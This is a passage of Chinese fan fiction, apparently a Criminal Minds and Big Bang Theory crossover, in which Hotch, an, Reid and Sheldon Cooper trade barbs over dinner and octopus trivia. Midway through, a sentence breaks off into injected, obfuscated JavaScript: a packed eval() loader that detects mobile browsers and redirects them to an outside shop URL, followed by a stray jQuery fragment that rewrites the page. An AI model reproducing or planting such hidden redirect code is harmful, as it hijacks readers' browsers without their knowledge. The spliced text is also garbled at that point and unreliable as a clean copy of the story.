那个服务员几乎是落荒而逃的。他在记事本上潦草地划了几笔,那种力度大得能把纸张戳穿,临走前看这一桌人的眼神,就像是在看一群刚从阿卡姆疯人院越狱出来的反社会分子。尤其是看向Sheldon的那一眼,里面绝对有一种想要往汉堡肉饼里吐口水的冲动。
至于原因嘛,当然是Sheldon决定在华盛顿的这一家连锁店更新自己在帕萨迪纳那里重复了无数遍的芝士汉堡守则:烤肉酱、培根、芝士单放,以及菜和肉饼绝对不能颠倒的上下顺序。
Hotch和an都要了酒,Sheldon惊愕地看着他们,准备开始长篇大论酒精对于联邦雇员的危害。比如关于酒精如何损害额叶皮层或是联邦探员行为准则的第几条第几款。
an晃动着自己手里的啤酒杯,金黄色的酒液在灯光下旋转出小小的漩涡。他心情很好地打断了Sheldon,“博士,我认为你应该先担心一下你的汉堡。那个服务员他现在大概正在厨房里,纠结是用‘特制酱料’还是直接把你的汉堡扔在地上。”
Sheldon胸有成竹地说,“不,那他就会违反芝士工厂餐饮卫生条例(莱纳德告诉过我的),而我认为BAU也应该出台禁酒令…”
an刚想说没有这种卫生条例,Hotch制止了他。“We deserve our drink,Dr. Cooper.”他斩钉截铁地说。
尤其是在你来了之后。他在心里默默添了一句。
Hotch直接仰起头,将杯中的液体送入喉咙。威士忌顺着食道滑下去,像是一条火线,烧穿了那些堆积在他胸口的郁结之气。
如果说面对那些变态连环杀手需要的是冷静与侧写,那么面对Sheldon Cooper,需要的只有高浓度的酒精和无限的耐心。
“别管我们了。”Hotch指了指Sheldon面前那杯柠檬水,“喝你的水,然后为你的汉堡祈祷吧。”
Sheldon抗议,“祈祷?我从不祈祷,即使是我妈妈逼着我去教堂的时候我也只是在心里背公式。我不相信上帝的存在。Agent Hotchner,你相信上帝?”
Sheldon又露出那种这个国家要完的表情。“如果是这样,那么人民是该祈祷上帝保佑美国了。”
……
Hotch慢慢地将酒杯放回桌面。玻璃底座与木质桌面接触时发出一声沉闷的轻响,声音淹没在周围食客的谈笑声中,只有这张桌子上的人听得见。
他抬起眼皮,目光越过桌子中间那个插着假花的装饰瓶,落在Sheldon那张写满“人类文明要完”表情的脸上。
an拿起一片餐前送的面包,在手里抛了一下又接住,“Damn,Hotch.你听到了吗?根据这位博士的说法,如果你指望神圣干预来抓捕不明嫌疑人,那我们都有大麻烦了。”
“不过,看看我们的结案率,也许我们确实该开始祈祷了。”他摊了摊手。
“我相信侧写、证据和美国宪法。而目前,我相信我的威士忌快变热了。”Hotch的声音冷漠、平板得没有任何起伏,就像他在法庭上宣读证词时一样,坚决地把话题挡了回去。
Reid小声嘀咕,“实际上,‘上帝保佑美国’这个短语直到 1918 年欧文·柏林的歌曲才广泛流行,后来在麦卡锡时代用于区分美国和‘无神论的共产主义’。而且据统计,科学家中信仰高等力量的比例低于普通人群——大约是 33% 对比 83%。然而,许多开国元勋是自然神论者,意味着他们相信造物主但不干预宇宙。所以,从技术上讲,为了国家安全援引上帝更多是一种文化传统而非神学策略。”
Hotch叹了口气,他最近叹息的频率真的有在显著增加,而且不是为了残酷的案情,“那只是个修辞手法,Sheldon。就像‘祝你有美好的一天’。我实际上没有权力命令你一天的质量,也不指望神灵去检查你的汉堡。”
他向后靠在椅背上,解开了袖口的扣子,将衬衫袖子卷到了手肘处,露出了结实的小臂线条。
“现在,我们能不能就在世俗的沉默中等待食物?”
这句话既是对Sheldon说的,也是对Reid说的。
而两个人中,有一个听话了。那个人显然不是Sheldon。
“我们可以,但是我们不想”,Sheldon理所当然地说,“谁不会想听来自我的趣味分享呢?现在,话题选择。我准备了两个有趣又有意义的话题。Subject1:为什么床底下的灰尘总是聚成毛团?subject2:什么生物用耳朵游泳,用脚吃饭?”
Hotch感觉那口刚刚咽下去的威士忌在胃里转了个弯,变成了一团灼热的蒸汽,顺着食道一路烧回了喉咙口。
灰尘毛团。
耳朵游泳的生物。
这听起来不像是餐桌话题,更像是某种只有在隔离实验室或者Discovery频道的深夜档才会出现的诡异测试。
an饶有兴致地盯着Hotch,Sheldon很烦,但是想到有一个人绝对比自己更烦是一种很好的慰藉,甚至是不错的乐子。
他想了想路上Sheldon说的四人实验,虽然不知道Leonard有什么必须忍耐Sheldon的理由,不过他已经认定那个犹太人和印度人大概是因为同样的理由忍受Sheldon的。
“Well,Hotch,”an轻快地说,“话题一听起来像是在Garcia桌子底下会发现的东西。话题二……听起来像是会让咱们这张桌子得脚气的东西。你来选,头儿。”
Hotch伸出手,拿过旁边的冰水杯,指尖在凝结的水珠上按出一个指印。
那是恐怖片里受害者想要逃生而不能、在门上按出的血指印。
“话题二。”Hotch终于开口了,声音低沉,带着一种认命后的平静,心里想的是如果非要在
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17149285|196422||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
这两者中二选一,刚刚an在话题一中提到了Garcia,作为一个很有保护成员本能的主管,在这场注定一败涂地的战役里,他希望越少把他的成员们扯进来越好。
至于今天晚上叫上an和Reid?
那是对他们今天早上表现的惩罚。
非常合理。
他说完,甚至还很绅士地对Sheldon做了一个“请开始你的表演”的手势,尽管那个手势里透着一股深深的疲惫。
“Please,”Hotch端起水杯喝了一口,冰凉的液体稍微压制住了他的头痛,“启发我们吧。”
“Grimpoteuthis.”Sheldon字正腔圆地表示,“因为它们是底栖动物,需要在礁石间钻来钻去,鳍反而会成为累赘。以烟灰蛸为代表的有须亚目章鱼们适应游泳生活,保留了鳍,它们会通过忽扇这对耳朵一样的肉鳍以完成游泳的行为。”
Sheldon说完还意犹未尽,“你们知道十字蛸吗?”他明显想继续话题,用期待的目光看着他们。
Reid也期待地看着他们,仿佛Sheldon刚刚喂给他的不是关于深海头足纲动物的冷知识,而是一块巨大的、美味的、却被Hotch明令禁止食用的巧克力。
他整个人都处于一种绷紧的状态,就像一张被拉满的弓。那双原本有些游离的眼睛此刻亮得惊人,他的嘴唇抿成了一条直线,又迅速松开,似乎在无声地重复着那个拉丁学名,每一个音节都在他的舌尖上跳跃,急于冲破Hotch下令安静的堤坝。
“十字蛸。”Hotch重复了一遍这个词,语气平淡得像是在念诵一份乏味的尸检报告,完全没有任何求知欲或惊叹。
“说吧,Reid。”Hotch放下水杯,转过头看向快要憋出内伤的天才博士,脸上出现了一种近乎慈悲的纵容,“如果我不让你回答,你会因为震动频率过高而从这个世界上消失的。”
得到了特赦令的Reid语速在瞬间飙升到了常人难以企及的频率,双手在空中比划出一个并不存在的生物形态。
Reid的声音因为兴奋而略微发颤,他和Sheldon对视了一眼,确认过眼神,都是读过同一本百科全书且过目不忘的人,“少数表现出生物发光的章鱼之一。与你提到的小飞象章鱼不同,十字蛸利用触手上的发光器来引诱猎物——主要是小型桡足类动物——进入口中。这实际上是一种迷人的进化适应,生物将自己的身体变成陷阱,而不是主动狩猎。”
迷人。这孩子觉得什么知识都是迷人的。an摇了摇头,拿起面前的一根薯条,在番茄酱里狠狠地蘸了一下。
“太棒了。所以我们有一种像圣诞树一样发光的章鱼,还能把东西整个吞下去。听起来像是Garcia的梦中情宠。或者是噩梦。我对她永远搞不清楚。”
an转过头,又补充说,“不过有一点是清楚的,如果这是考试,我要抄Reid的卷子。”